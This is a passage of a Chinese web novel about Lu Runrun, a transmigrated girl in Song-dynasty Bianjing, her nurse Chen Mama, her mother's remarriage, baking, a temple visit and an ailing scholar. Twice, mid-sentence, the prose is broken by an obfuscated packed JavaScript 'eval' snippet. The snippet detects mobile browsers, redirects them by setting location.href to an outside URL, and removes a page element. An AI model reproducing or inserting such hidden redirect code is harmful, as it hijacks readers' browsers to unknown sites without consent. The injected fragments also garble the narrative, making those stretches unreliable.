“这边这些都是两文钱一块的,小娘子可以挑挑。本来还有饧粥的,可惜都卖完了,下回若遇见了,小娘子可一定要买一碗尝尝,我家的饧粥出了名的好吃,这州桥夜市里谁不知晓我李婆婆饧粥。” 余六娘不太信,但她没有卢闰闰那么能说,也没有魏泱泱胆子大,故而只是抬头腼腆地笑笑,并不说话。 很快,她就选了三块看着大一些的胶牙糖,实际上胶牙糖敲好了都差不多重,只是形状不同,这才看着有大小之分。她从瘦小的荷包里掏出六文钱,里头空荡荡的只剩下一枚铜钱,在夜风里荷包更是显轻得可怜,好似一阵风吹过来都能打转。 付完钱,余六娘回过身笑吟吟地把胶牙糖捧在手心,请她们尝尝。 卢闰闰没有客气,有时候接受别人的好意,反而更能使对方开心,魏泱泱看卢闰闰吃了,也捻起来递到嘴里含着。 那婆婆说话是夸大,但胶牙糖的味道还是很好的。 入口是淡淡的甜味,含久了嘴里像是起泡一样的口感,吃着不腻,而且还有一点类似糊了的香味。味道不复杂,甜甜嘴正好。 因为三人都在吃胶牙糖,故而安静了下来,都没空说话,只漫无目的地走着。 反而是卢闰闰身后的唤儿,提醒她道:“天色很晚了,姐儿,该回去了。” “哦。”卢闰闰回神,算算时辰的确出来许久了,再不回去,陈妈妈怕是遮掩不住。她主动和另外两人说自己该回去了,又问她们回去可方便,彼此送一送。 魏泱泱直接拒绝了,“你送我我送你的,岂不麻烦?闰闰啊,等来日你家里置办了车马,我再沾光,如今就罢了。” 余六娘也有理由,师父们就在附近,她可以跟着一道回去。 既如此,也不用多拖延,卢闰闰带着唤儿回家去了。 州桥夜市离卢闰闰家还是很近的,没有走太久就到了宅子前。她不能从大门进去,因为倒座和后罩房之前为了租出去,分别在连通处修了门,未免闹出什么是非,平日里这两道门都是锁起来的。 卢闰闰和家里人住在中间那一个院子,所以在墙开另外凿出一道门,供自己家出入。 倒座的那几间屋子是分开租出去的,后罩房锁了连通的门以后,也自成一个院子,故而整个院子租出去。之前后罩房是租给一个从八品的官,供他一家子亲眷并奴仆住,奈何今年那官员外放了,一直也没寻摸到合宜的人家,就一直空着。 倒座则分别租了三户人家,都是小户人家,也没买个奴仆什么的,还空出了好几间屋子,但没寻到合适的人家,也就只能空着。 卢闰闰到家的时候,还撞见拎着水桶,出门打水回来的钱广。这钱广正是租在她家倒座的人,是府衙的一个胥吏,和他家娘子并女儿一家三口租了两间屋子。 他们都是早些年就租了卢家的屋舍,那时候家里没什么进项,租出去是图能有长久的进项,好够温饱。 后来谭贤娘在汴京有了名声,不用怕没米下炊,但就她们四人住着这么大的宅子也觉得不安心,生怕有点什么,若是闲汉贼人闯进家里,连个知道的人都没有。 因而,谭贤娘便继续租着屋子,横竖一住下来就是数年,变动不大,只当多了个友邻,还有稳妥的进项,比开铺子稳多了,也不会亏本。 那钱广做着胥吏,为人处世很是圆滑,瘦瘦矮矮的,但面上总是堆笑,看着倒是特别和气。 一见到卢闰闰,钱广就把水桶放地上,停下打招呼,关切问候,“去州桥夜市啦?” 卢闰闰笑了一下,点头说是。 钱广整日早出晚归的,又有避讳,等闲是接触不到她家里人的,不用怕被她娘知道。 钱广没僭越地说什么指责的话,当了那么久的胥吏,能连这点人情世故都不知道吗,他呵呵笑道:“若是出门吃个饮子,也可带我家瑾娘一道,她待在家中,一日日也没个小友相伴。到时,你们吃什么喝什么,都算在我头上。” 钱家的小瑾娘就是陈妈妈之前叮嘱卢闰闰,说觉得邪性的那个。 卢闰闰既没有直接拒了,也没有一口答应,只说改日时候恰好了带去。 凡是改日、过几日,往往都是没有下文的。 钱广也很有眼色,没有非追问到底,只说他家娘子等着烧水怕是要等急了,而后就点点头继续提着木桶回去。 卢闰闰也带着唤儿走到自家的小门前,学着鸟叫了起来。 她才叫了两声呢,门就呀吱一声打开了。 一看,是陈妈妈板着脸开来门。 都不必问,卢闰闰也知道陈妈妈这是生气了。 果不其然,陈妈妈把门阖上,她跟在后面还没走两步呢,就见陈妈妈气哼哼地咬着牙,一副哄不好的架势,语气里带着些委屈,“还晓得回来呀,知道我应付你娘多累么?可怜我一把老骨头还要编瞎话哄你娘。 “这也就罢了,你说你回来得这般晚,叫婆婆我心都要揉碎了,坐也坐不安稳。你可是你亲婆婆的独苗,你亲婆婆就生了你爹,你爹只留下你一个女儿,要是有什么事,叫我怎么去见娘子!不是说买了吃食就回来的么?耽搁了这么久,可叫我吓得不行。” 陈妈妈生气都过不了三息,转过身就开始心疼卢闰闰。 卢闰闰都准备张嘴哄陈妈妈了,奈何没有这个机会,很快就变成陈妈妈拉着她的手,上下左右地看着,生怕有什么磕碰。 好在穿越来十几年,卢闰闰已经习惯了陈妈妈过于紧张的爱护。 而且动不动就要提到卢闰闰的亲婆婆,陈妈妈她自小服侍的娘子。卢闰闰甚至能预测到陈妈妈接下来会说什么,无非是招赘。 果不其然。 “你呀,还是早些招赘一个夫婿,如此一来,这杂嚼吃得再晚我也不管你了。早日成婚,我对娘子才有交代,来日到了地下,我才有脸面见娘子,你是娘子的独苗啊……” 接下来的话,都是老生常谈,卢闰闰的耳朵已经能习惯地忽略了。 在卢闰闰出神的这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506425|186077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿,陈妈妈已经把她带到了灶房,从一直小火熬着的砂锅里倒出一大碗汤,捧到了卢闰闰跟前,连勺都要放到卢闰闰的手上。 不仅如此,陈妈妈还打了热水,非要亲自帮卢闰闰擦手,若不是卢闰闰死活不从,她都想亲手喂卢闰闰喝汤。 陈妈妈对卢闰闰真可谓是无微不至地照顾,倘若卢闰闰不是有现代记忆,在陈妈妈的溺爱之下,她觉得自己很可能会长歪。 汤有些烫,卢闰闰手握勺子,随意搅了起来。 而陈妈妈正指使唤儿趁着月明去捣衣,衣物浆洗多次后,容易发硬,就要杵捶打衣物。不仅是卢家,若是静下心仔细听,周围有好多户人家都在捣衣。 正如李白所写,“长安一片月,万户捣衣声”,汴京的夜里也布满着捣衣声。 许是千家万户都要捣衣,倒没什么邻里嫌吵,出来咒骂。也可能是都听习惯了,卢闰闰上辈子生活的城市机场在市区,一天到晚都是飞机的轰鸣声,但大家习惯了日常生活里就和听不到一样,压根都不抬头多看一眼的。 陈妈妈吩咐完,又觉得不放心,跟去瞧了一眼。 坐在灶房里,卢闰闰都能陈妈妈骤然放大的声音。 “唉哟,这件褙子怎么在这,这对襟上的样式可是画出来的,沾不得一点水,化开以后就不能穿了……” 陈妈妈指手画脚了好一会儿,才从院子里进来,见卢闰闰开始喝汤,她脸上又露出满足的蔼笑,“姐儿多吃些,今儿累了吧?这鳆鱼汤养肝明目,滋阴润燥,吃了补身子。 “这可不是倭螺,是正经登州产的鳆鱼,贵着呢,这么一个就得三四贯,要不是你娘做宴席,贵人赠下来,就是去宣泽门边上的码头等一天都未必买得到这样好的品相。” 她这一说,把卢闰闰都听心疼了,自己一口就吃掉了大几百文钱,她娘一个月才给她八百文开销呢。 卢闰闰捂着胸口,看着勺子里的鳆鱼,舍不得再下口,她看向陈妈妈,试着打商量,“要不下回别炖我这份了,我可没这么金贵,倒不如留下来卖了换钱。” 现代一个鲍鱼才几块钱呢,到了宋代,一个却要三四贯,吃这么贵的东西,卢闰闰都怕自己□□凡躯担不住,夜里肠子痛。 她是真心实意地说,却把陈妈妈听郁闷了。 陈妈妈放下手里正要往灶膛里放的柴,又是替卢闰闰不值,又是伤心生气,她嚷嚷道:“怎么就没那么金贵了?你亲婆婆在的时候,你娘怀你,成日里不是吃鳆鱼汤,就是买明州的江珧柱,就连稀奇的沙鱼也弄来给你娘做沙鱼衬汤。 “你就是顶顶金贵的!可不许这样讲自己,叫你地下的婆婆跟爹听见了,要心疼的……” 陈妈妈边说,边瘪嘴,眼睛里蓄了泪,显然心疼得都快哭了。 卢闰闰没想到自己随口一句话就叫陈妈妈听得要落泪,她如今的日子已经很好了,别看是在古代,但是过得比在现代更舒心,她放下勺子,手足无措地,不知道该如何宽慰陈妈妈。 哪知道陈妈妈低头一抹泪,抬起头又跟没事人似的,叮嘱卢闰闰快些喝汤,冷了就不好喝了。 卢闰闰看似埋头喝汤,却偷偷抬眼看陈妈妈,见陈妈妈没偷摸着哭才放下心来。但她喝汤的速度也快了许多,等她喝完的时候,陈妈妈已经烧好了热水,正往木盆里一勺勺地倒热水,水上头似乎还漂浮着什么。 陈妈妈见卢闰闰喝完了,叮嘱她水兑好了,就在这儿洗漱,一会儿进屋去换身衣裳,先别睡着了,今日做席定然累着了,得泡脚松泛松泛。 卢闰闰一一应好,又问陈妈妈要干什么去。 陈妈妈没好气道:“这不是得去伺候你娘么,宴席一做一整日,筋骨怕是都僵了,我今儿去旧封丘门那边的药铺,特意买了些舒缓筋骨的药草,在锅里煮了好一会儿了,这会儿药劲应是煮出来了,趁着热给你娘送去,泡泡脚,也好叫她睡个好觉。” 卢闰闰笑起来,“还是婆婆心细。” 陈妈妈摸摸卢闰闰的头,嗔了她一眼,“也就这时候夸我两声。” 陈妈妈对卢闰闰抱怨从来不会超过两句,下一刻又关切起来,“今夜可得早睡,明儿不是要做点心么,那么多点心,不早些起来,怕是做不完呢。婆婆的心肝肝,听话些,夜里可不许再看什么话本了,知晓不?” 卢闰闰用力点头,笑眯眯说自己知道了。 陈妈妈这才放心地去给谭贤娘送泡脚的草药水。 陈妈妈一走,卢闰闰伸了个懒腰,整个人累得趴在桌上,她哀嚎一声,怎么明日也要忙呐,后日去大相国寺又得起早,连着几日都不能歇。 她之前在佛寺许愿的时候,为何许的是一年,若是半年,愿就还完了。 她把头埋在手臂里,使劲摇头,根本懒得起来。 好半晌,她才蓄足力,站起来去洗漱。洗漱完,她把灶房里的灯给吹灭了,捶着背,打着哈欠,往自己屋里走。 却不妨正好经过她娘的屋子,被突然的重物掷地声吓了一激灵,困意和倦意都被吓飞了。 这是怎么了? 7. 造谣 卢闰闰忽然想起自己娘白日在小轿里和自己说过要改嫁的事,坏了,不是这时候她娘把这事告诉给陈妈妈了吧。 可别闹起来。 虽说陈妈妈拿了工钱在卢家做事,但她可没签什么十年八年的契书,甚至卢闰闰的亲婆婆在世的时候,特意给陈妈妈寻了门亲,嫁的也是汴京人士,家里是靠捶石莲子加工为生的,在家门前做了作坊,雇附近街巷的人一块捶石莲子。 别看陈妈妈嫁的夫婿死了,儿子也死了,但那个在旧曹门的宅子还在,她不曾改嫁,婆家没剩人了,连个抢财产的族亲都没有,宅子仍稳稳当当地在她的名下。 这些年过去,旧曹门一带加工石莲子的人家愈发多了,几乎都靠此为生,雇工一日里能得百文。陈妈妈也就顺势把空着的小宅子租赁出去,每月能有些进项,体己比卢闰闰要多得多。 她的腰杆硬不止如此,想当初卢家长辈和男丁都故去,卢家最艰难的时候,出丧的钱都欠着,谭贤娘回娘家借钱,哪知道卢闰闰的外翁外婆都来劝谭贤娘把这宅院卖了,置换个偏点小点的,多出来的钱好赖能撑一撑,直到卢闰闰长大成人。 反而是陈妈妈站出来,说没有她家娘子,她当初活不下来,不能看着娘子唯一的孙女连这安身的宅院都被卖掉,主动提出来要把她旧曹门的宅子卖了,来还钱,剩的钱一样能撑一段时日。至于往后如何过,她就是出去当浣衣婆,去捶石莲子,哪怕是去乞讨,也不会饿到娘子的孙女。 卢家的族亲想上门分一杯羹,也是她陪着谭贤娘,一个撒泼吵架,一个沉着应对,熬过最难的时候。 后来,谭家大哥,也就是卢闰闰的大舅父从边关赶回来,给妹妹做主,把出丧的钱还了,又去震慑了卢家的族亲,这事情才安稳下来。 不仅如此,他还和妹妹商量往后的营生,一则是让妹妹带着女儿跟他去边关,趁着年轻,有他作保,寻个武官再嫁,也算终身有托。 二则,若是不肯卖了这大宅,不如就租出去,先有个能顾温饱的进项,再细细做打算。 夫婿新丧,正堂前白布未撤,谭贤娘哪肯再醮,选了第二条路。谭家大哥就趁着还未离开京师,帮着找了工匠重修了宅子的门,好租出去收掠房钱。 陈妈妈则一直留在卢家,还是执意照着下人身份照顾母女俩。 但她的存在从那时起,在二人心目中却是不同,更似亲人,似长辈。 如今谭贤娘要再嫁,陈妈妈若是不肯,怕是要闹一顿的。卢闰闰最清楚陈妈妈有多在意她,多怕外人染指她的家财。 直到这么多年过去,她都能听见陈妈妈夜里咒骂那些族亲,去烧香拜佛的时候,除了保佑她平安,给故去的卢闰闰的婆婆和爹爹点灯,还不忘让佛祖开眼,叫那几个曾经上门抢家产的族亲不得好死。 卢闰闰一想到这就担忧得不行,站在门前不敢走,真要是吵起来了,她往那一站,陈妈妈怕误伤她,也就不会闹得太厉害。 然而她预想中的争吵并没有出现,屋里似乎在说话,很快,门就被打开了,陈妈妈拿着空掉的木盆出来,地上全是水渍,泡得发皱的草药散落满地,看着像是蠕动的黑虫子。 “你怎么还没进屋?”陈妈妈先声夺人,推着卢闰闰的手赶她走,“快快,回屋里躺着,累了一整日,赶紧歇歇。哦,这儿没事,我不小心把水洒了,唉哟,我的心肝呐,你收拾什么,这不是添乱吗?滑倒了可怎么好?我来我来,哪能轮到你干这些活,再不济还有唤儿呢……” 陈妈妈死活不肯让卢闰闰帮忙,还硬是把她赶回了屋。 最后,捣衣的唤儿听见动静,把那一地的狼藉给收拾了。 卢闰闰等了一会儿,才在屋里等来了陈妈妈,却见陈妈妈还是端着一个木盆,放到了卢闰闰跟前。 卢闰闰把绑着白绫袜的系带解了,挽起宽大的裤管,把脚放进去,草药水是刚从锅里舀出来的,虽说倒了两勺冷水,还是烫得她脚底发麻,人一激灵抖哆嗦。 她以为今日是安生了,随口闲聊问陈妈妈,“好端端地,方才水盆怎么撒了?” 陈妈妈却难得没有认真回答卢闰闰的话,而是凑近卢闰闰,一脸紧张,还侧头看了眼屋门,跟做贼似的,但又满脸严肃郑重,“你娘要再嫁了!” 见卢闰闰没有露出震惊的神色,陈妈妈就猜到怎么回事了,嗔怪道:“你早知道了,也不和婆婆我说一声。 “好了好了,你娘已经同我说了这事,我做下人的不好多问。你告诉婆婆,那人是什么人?做什么营生?家住哪里?有没有自己的宅子?你娘可会搬出去住?那人品行如何?” 这一连串问的,卢闰闰都没听清楚说了什么。 她挠了挠头,仔细思考,“我就知道他是官身,我娘说他好吃,别的就没有了。” 卢闰闰拢共就能说出这两点来,这也是她对继爹的初印象。 “唉呀,还贪吃,可莫是像你太翁翁那样的,光是吃就把家业败了泰半。吃喝嫖赌,吃败起家业来,可快着呢!”陈妈妈惊叫一声,很是不满意。 卢闰闰没想到自己一句话倒叫陈妈妈更不喜欢了,忙找补道:“不至于吧,我娘是厨娘,正相合呢。对了,我娘说了,她再嫁也是为了给我找爹,他有官身,往后我寻亲事也能更容易些。” 卢闰闰刻意说起对自己的好处来,陈妈妈这才勉强接受,不再怨着一张脸。 陈妈妈拿过一旁的布巾,挽起袖子,给卢闰闰把脚上的水渍擦干净。她又起身去把床帐放下来,支起的窗户放下,吹灭灯烛,边做这些,她边说道:“你昨日不是说有蚊虫吗,我今儿夜里,趁你去吃杂嚼,点了驱虫的香在你屋里熏过了,保管叫你夜里睡得香。你呀,辛苦了一整日,夜里好好睡,明儿朝食要吃什么?婆婆去给你买。” 卢闰闰趴在床上,手里抱着软枕,深深一嗅,果然闻到平日里没有的,近似硫磺的味道,不是很香,但闻着莫名舒服。她拿脸蹭蹭柔软的衾被,阖着眼睛,已开始困倦,说话的声都瓮瓮的,含糊不清,“不要了不要了,明日我说不准都起不来吃朝食呢。”< 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汴京人勤快是真勤快,大街小巷都能见着吆喝叫卖的人,努力上工挣钱,但贪懒的时候,也是真的不愿意多走一趟,许多人家都习惯了等小贩经过巷道,在二楼从窗户放个木盆下去买朝食。 随着卖朝食的小贩到来,巷子里一下就热闹起来。 还有互相寒暄打招呼的。 卢闰闰家的租客,钱家娘子正好带着女儿出门来买朝食,抬头看见卢闰闰,招着手,热切说道:“是卢小娘子呀,今儿个没有筵席?昨日我来你家送些吃的,都没见到你人,想想做厨娘是真辛苦。” “不过啊……”她捂嘴笑了起来,一副好事的模样,“工钱应是很多吧,还有赏钱,你家的铜钱是不是堆在库房里头,连穿铜钱的绳都放烂了?” 钱家娘子不算坏人,但她那张嘴真是什么都往外说,没个把门,也没轻重,时常夸大。 卢闰闰面上不冷不热地呵笑一声,阴阳道:“哪有啊,我家真要是如你说的那般就好了,何必把好好的宅子弄成这样,租出去赚点掠房钱。倒是婶婶你家,听闻钱叔父没少往家里搬成筐的铜钱,富贵了可别忘了我家,旁的不说,掠房钱得交了吧。” 旁边有好事的人,立刻就问起来,那成筐的铜钱是怎么弄来的。 都知道胥吏的俸禄可不多,要想富裕,可都是靠旁的法子来挣的。 钱家娘子急得跺脚,“哪有的事,卢小娘子可不兴胡说!” 奈何她成日里碎嘴爱搬弄是非,众人都不怎么喜欢,有意臊一臊她,反而追问起来。 正好小贩把卢闰闰那份馎饦做好了,放进了她的木盆里,卢闰闰把木盆沿着墙往上拉,把馎饦取出来随手放到案上。 接着,她侧靠在窗户旁,低头往下看了两眼,瞅着底下的热闹,笑了一笑。 却不妨忽然望见钱家娘子身边的瑾娘,即便亲娘在身边与人争辩,她也不开口说一句话,只睁着黑溜溜的眼睛,面无表情地盯着卢闰闰。 8. 大相国寺 寻常人见了这眼神,怕是要唬一跳,接着寻思这孩子是不是撞邪了。 卢闰闰却察觉到了钱瑾娘视线的偏差,她站在窗边往左右看了看,忽然留意到窗下多了点什么。原来是不知道哪来的燕子正在衔泥,要沿着窗框下的边隙筑巢。 这燕子有些懒呢,春日都要过了才开始筑巢,还只建了一小半,新的泥还湿湿的。 而且比起别的燕巢,明显泥少了许多,用了许多稻草碎屑凑数,这样就能少衔很多回泥。但正因如此,这个巢和别的巢的形状不大一样,别的燕子筑的巢像是半只碗,下窄上逐渐宽,而它这……歪歪扭扭,很不走心了。 看着就像建着建着会掉下去的样子。 如此看来,也许这只燕子不是懒,是筑巢的手艺不大好,兴许掉过两回巢了,这又勤勤恳恳地继续。 这样一想,卢闰闰看向燕子的目光顿时怜悯起来,但忍不住想摇头,勤勤恳恳白忙活,这燕子惨兮兮的,却又显得有些滑稽可爱。 知道了缘由以后,卢闰闰再看向钱瑾娘,就会发现她看起来像是面无表情,实际上尚显稚气的脸上还是能察觉到一些情绪波动的。譬如燕子衔的稻草多一些的时候,她黑白分明的眼睛分明动了动,卢闰闰敏锐地看出那细微动静后的忧心忡忡。 虽然钱家租着卢闰闰家的屋子,但因为相通的门落了锁,平日里只能是在巷子里偶遇,故而她见钱家人的次数并不多。 她头一次这样认真地打量起钱瑾娘,八九岁的年纪,用着桃粉色的布巾,梳了个将头发分作左右两边的包髻,绑包髻的发带垂在左右两侧,风一吹就摆动起来,是很显娇俏活泼的发式。梳这种发式的,多是大点的孩童,还得是家里有仆从服侍的,因为比起用发带随意绑起来的双垂髻和孩童常见的包包头,这要麻烦很多。 钱瑾娘身上穿的也俱是显眼的亮色,红色抹胸,橘红对襟长褙子,鹅黄下裙。 可以看得出来,钱家娘子对钱瑾娘的上心。 但即便如此费心装扮,钱瑾娘整个人看起来还是没有这个年纪的孩童该有的天真活泼。 眼睛大,可眼珠子不怎么转动,几乎只盯着一处,再怎么吵闹也休想引起她的一点注意,脸上没有表情,因为几乎不说话,所以唇始终紧抿着。 安静到给人观感不是乖巧,而是古怪。 但比起陈妈妈说的邪性,卢闰闰反而觉察出的是,她应该很聪明,比别的同龄孩童貌似更专注。 窗子下的巷道,还是很吵闹,新出的日头斜照在屋檐白墙下,墙面受风吹雨打已染上污迹,卢闰闰倚在新刷了红漆的窗上,手上拿了碗馎饦,边随意地搅着,边看着钱瑾娘。 当钱瑾娘真正看着她的时候,她坦然一笑,还拿起碗举了举,毫不避讳被钱瑾娘发现自己直视,直到钱瑾娘慢慢挪开目光。 而嘈杂的声音和三三两两的人,则成了不被在意的背景。 直到拎着草绳绑着的二斤羊肉的陈妈妈出现,以一己之力盖过了争吵的声音,这场争吵才算结束。 * 等陈妈妈进门的时候,除了羊肉小葱,还拎着三大串钱,她脸上满是得胜归来的喜气,洋洋得意道:“可算是叫我把她逮到了,连欠了好几日的掠房钱,也敢在你跟前冒头。 “姐儿,瞧瞧,三贯钱呢,要是不催,叫她每月都拖几日过去,可不就得昧下一个月。 “你娘呢?还没醒吧。罢了罢了,叫她睡吧,劳心劳力的想必也累了。 “我看卖朝食的小贩停在你窗子下,朝食吃过了吧?正好,午食晚点吃,给你炖山煮羊!你看,新鲜的羊腿肉,我昨儿特意去敦义坊桥市的肉案叫人家给咱们留的。” 卢闰闰从楼上下来,好奇问道:“我们坊市不是也有肉案吗?就连巷子里也新摆了卖肉的摊子,跑敦义坊去做什么?” 提起巷子里的肉摊,陈妈妈就撇着嘴连连摆手,“什么呀,巷子那家卖的是肉吗?是良心!缺斤少两的,肉还不新鲜。咱们坊市的那家肉案,摊主人娶新妇,回乡下成婚了,且不知要到何时回来呢。” 卢闰闰哦了一声,没再多问。 家里这些事本来也不用她管,她不大操心。 她得先去试做一份松花饼。 做出来尝尝味道,才好照着方子做那么多份,否则,有一点差错,一袋松花粉就全做毁了,再买不一定来得及。 卢闰闰就着院子里竹笕流出来的水仔仔细细洗了手,还用肥皂团打了手。 卢闰闰看着手里的肥皂团,不免觉得有趣,穿到古代以后,除了没有手机,其实她的生活质量不算太下降。 有类似自来水的竹笕,从城外引进活水到城内蓄水的池子,加石灰沉淀杂物,再通过竹子引水,把水流到千家万户,也有类似肥皂这样用于清洁个人卫生的肥皂团。 不过,也有她这辈子侥幸投对了胎的缘故。 即便在汴京,也并不是家家户户都有竹笕,许多人家还是要排队在水井边打水。想要继续过这样的日子,她还是得努力学厨艺,有一技傍身才是。 卢闰闰甩了甩手上的水珠,巩固了下自己学厨艺的信念。 她走进灶房,准备开始做松花饼。 得益于谭贤娘的厨娘身份,加上这处灶房是后砌的,所以屋子很大。灶台留了两口锅的位置,墙角还摆了好几种尺寸的铁锅跟一摞蒸笼,灶膛前是一个竹凳,再后面是两担柴火,其中一担已经用掉了一小半。 谭贤娘不是什么以豪奢闻名的厨娘,家里没有金银厨具与碗碟,用的厨具多是铁打的,还有竹木做的,比如竹笊篱等等。 但要说有什么值钱的,像靠窗的那面墙边上拉了绳,挂了许多腊肉,有两条新做的,不时往下滴两滴油,陈妈妈特意在那底下放了两个陶碗。 角落里还有两坛用稻壳跟泥封住的酒瓮。 以及有个约莫占了半面墙的松木柜子,时日久了,边角有些掉漆,里头装了大大小小许多罐子,有几个抽屉是落了锁的,放的都是昂贵的香辛料。像是胡椒,一两胡椒一两金,转到市面上压根不愁卖的。 这灶房宽敞得叫人一进来就觉得舒服,门进来些的地方,摆了张约莫有两张八仙桌大小的长桌,高则正好在腰下去些。 陈妈妈早就叫唤儿收拾过了,桌案上没什么杂物,干干净净的,就摆了卢闰闰要的那罐蜂蜜,还有一袋松花粉。 卢闰闰坐到灶膛前,先往灶膛倒了点木屑,再打开火折子的盖,用力一吹,火星就死灰复燃了,她用火折子把木屑点燃,接着放入木柴,慢慢地火就着起来了。 而后往锅里倒了些水,倒了点蜂蜜在陶盆里,隔水蒸。 等到时候差不多,她往蜂蜜里加了些胶牙糖,搅拌到融化,接着将陶盆从锅里拿出来,往里面加松花粉,边加边用勺子搅,直到碗里的松花粉变成有些结团,有些松散的程度,用手进行揉捏。 而后,搓成条状,分成小剂子,揉圆后,裹上一层松花粉,用木模具一压,就是花状的松花饼。 和其他点心比起来,松花饼的做法实在简单。 她拿起一块做好的尝了尝。 嗯……有些酸。 但并不是不好吃。 这种酸近似于往糕点里放了果脯,然后一口咬到了整个果脯肉,伴着甜糕点一块入口的味道,酸酸的,带点甜,回味的时候,还带点松香味。 卢闰闰没几口就把一整个松花饼吃掉了,她拍了拍手,抖掉碎屑,面露沉思。 还是偏酸了一些。 但松花粉本身是带点苦味的,为了掩盖苦味,所以要加入蜂蜜激发酸味,这是避免不了的。想来是胶牙糖的分量不够,卢闰闰想了想,又找来了糖霜,准备加进去重新试试。 她叉着腰,扭头看了眼外面的天色,准备好大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而越靠近大相国寺,人就越多,等到寺门前下轿的时候,人多的都快把卢闰闰和陈妈妈冲散了,还好陈妈妈一直攥着卢闰闰的手。 今日之所以这般挤,许是因为是十五,又正好撞上大相国寺每月五次的开放集市的日子。 不过,等挤进寺里也就好了,大相国寺占地广,走到里头骤然宽敞起来。 陈妈妈才得以拍着胸喘过口气,再用袖子擦擦额上的汗,感慨道:“今日人也太多了。” 而卢闰闰却注意到了另一件事,今日不仅是人多,还有很多读书人,有年轻有年纪大。她疑惑道:“怎么这般多读书人?” 卢闰闰后知后觉起来,“今年似乎还没有状元游街,奇怪,怎么今年科举这般晚?” 陈妈妈消息灵通,卢闰闰一问她就一副了然的样子,滔滔不绝地讲起来,“哦,说是有个什么大才子生病了,官家为了他直接推迟省试,这些举人全都走不得,家里没资财的全到寺庙投宿了。 “我听闻许多举人都没钱了,好在官家仁德,让官府接济。 “唉,真说起来,读书多好呐,考中了做官,往后再做宰辅,那可真是光耀门楣呐!”陈妈妈对读书人真是喜欢得很,说着松皱的眼皮里就浮起笑意,甚至看向了卢闰闰,忍不住道:“要我说,你将来也寻个读书人,咱们家供得起他科举,等来日为官做宰,你也封诰命。” 陈妈妈光是想到那个场面,就笑得合不拢嘴。 卢闰闰却理智得很,板着脸道;“读书人怎么舍得入赘?我又不是什么皇亲贵胄郡主娘娘。” 陈妈妈听不得卢闰闰贬低自己,当即不开心地反驳道:“多得是!别说读书人,就是当官的都有入赘的,咱们家的家底虽没那么好,但也是吃喝不愁,招读书人入赘怎么了?那是他祖上修来的福份。” 陈妈妈眼里卢闰闰就是千好万好的! 9. 李进 陈妈妈觉得卢闰闰好,爱她如珠似宝,觉得世上的人也尽该如此,卢闰闰却不这么觉得。 她很有自知之明,也不一味做美梦,“纵然真招了读书人入赘,供他科举做官又能如何?背信弃义,糟糠下堂的事还少吗?万一我遇到一个落魄时勉强屈就入赘,实则心怀不忿,只待飞黄腾达就报复我的呢?” 见陈妈妈目光愈发不善,卢闰闰不自然地避开对视,声渐弱了起来,嘟囔道:“世上哪来那么多重情重义又甘愿入赘的读书人,还能叫我遇见。” 陈妈妈不舍得凶她,只攥着她的手腕,贴近小声叮嘱,不许在寺庙里胡说。 这庙里说的话,最容易应验了。 * “李进?李进?” 有人在高声叫喝,与之相应的是不间断的用力叩门声,震得年久失修掩不严实的门扉簌簌作响,似乎还在落灰。 过了好一会儿,屋内才传来缓慢的脚步声。 “咳咳。”门打开了,是一个披着外衣的年轻男人,他面容苍白,带着淡淡倦色,因着久病而身形消瘦,手指瘦得像竹节,但脸上并不见颓废浑浊,一双眼睛黑得发沉,锐利冷漠。 门一开,风呼呼地吹进去,他的衣摆向后扬起,更衬得他清瘦不消风中伫立。 他一手紧攥披着的外裳,一手握拳抵于唇边,压着声,却仍是连连咳嗽。 “许兄寻我,可是有何事?”他的声透着点病中的喑哑,却仍是很好听,如琳琅玉石,脆而不锐。 被唤作许兄的男子则和他是天差地别的另一副模样,身穿亮眼的孔雀蓝长褙子,腰着鹿皮鞶革,无下裳,着长裤,裤脚绣了一整幅竹林七贤饮酒图,就连头上戴的软幞头上都缝了玉石。他总是咧着嘴,唇角上扬,似乎无时无刻不是好心情,整个人神采飞扬。 病弱的年轻男子,即李进,他在许承还未开口前,便已经不着痕迹地将其扫入眼底。 毋需说,他也能看出,许承这副打扮,怕是正准备去同友人蹴鞠,但鞋沿干净,说明还未出去就赶过来了。自己与许承并无深交,只是同乡,彼此眼熟而已,又能有何事寻他。 风一吹,李进又咳嗽了几声,却仍在脑中不动声色地思量着对方的来意。 许承没什么铺垫,他从袖里取出一封信,直接递给李进,“喏,你家中寄来的信,夹在我父亲寄来的包裹里。” “我家中?”李进重复了一遍,向他求证。 “嗯。”许承坦然道:“自是你家中寄信,难不成还是我家中给你寄信不成。我爹给我的信中写了,你家里人找到我家中来,托着我家将信一道寄来。” 许承一拍李进的肩,大方表示,“你我同乡,出门赴考,远在这千里之外的汴京,理应互相帮衬,别为你家不曾给寄信的银两而羞愧。成了,信我也送到你手上了,就不打搅了,我与人约好了郊外蹴鞠呢。” 闻言,李进盯着信看了一会儿,接着,他望向许承笑了一声,坦荡道谢。 许承背对着他大步走着,随意一挥手,回应了他的道谢,洒洒脱脱地,很是放纵恣意。 李进看着手上的信,掩唇咳嗽一声,在狭小的屋子里仍然显得身形单薄,他走进去,坐到案前,将信拆开。纵然与对方不熟,每每见面都是剑拔弩张,但他还是一眼认出了字迹。 这是他那兼祧两房的父亲所写。 李进垂眸看下去,愈是看,他便愈是发笑,最后,他随手把信纸揉成一团,扔进炭盆。 春日堪堪要过,但寺院清幽,仍旧发寒,更莫说自从他生病以后,就被挪到了后面地势最高也最偏僻的厢房,日光照不进窗子,屋里潮湿幽暗,墙角发黑甚至生了青苔,冷的像是能凝水成冰。 夜里最冷的时候,他不得不点两个时辰的炭。 